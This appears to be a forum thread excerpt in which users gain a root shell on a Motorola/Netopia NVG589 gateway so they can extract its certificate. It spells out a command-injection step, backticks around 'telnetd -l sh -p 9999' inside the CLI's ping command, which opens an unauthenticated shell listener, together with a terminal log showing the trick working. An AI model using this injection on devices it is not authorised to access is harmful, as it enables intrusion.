NOS/255307918359056> ping 'telnetd -l sh -p 9999'
Those are apostrophes ''''', but you need backticks `````.
Peter
That was it! I couldn't paste into the session (gave me a weird question mark in a box), so I was just misreading it. The ping is necessary as is a new session for step 5 by the way. Now to figure out how to extract the cert! Thanks everyone. I thought it might be something simple!
Terminal shell v1.0
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Motorola Netopia Model NVG589 VDSL/ADSL AnnexA Ethernet
Running Netopia SOC OS version 9.1.0 (build h4d38_1.1)
ADSL/VDSL capable
(admin completed login: Admin account with read/write access.)
NOS/255307918359056> `telnetd -l sh -p 9999`
Unrecognized command. Try "help".
NOS/255307918359056> ping `telnetd -l sh -p 9999`
BusyBox v1.18.3 (2013-06-13 18:56:43 EDT) multi-call binary.
Usage: ping [OPTIONS] HOST
New Session after telnet 192.168.1.254 9999:
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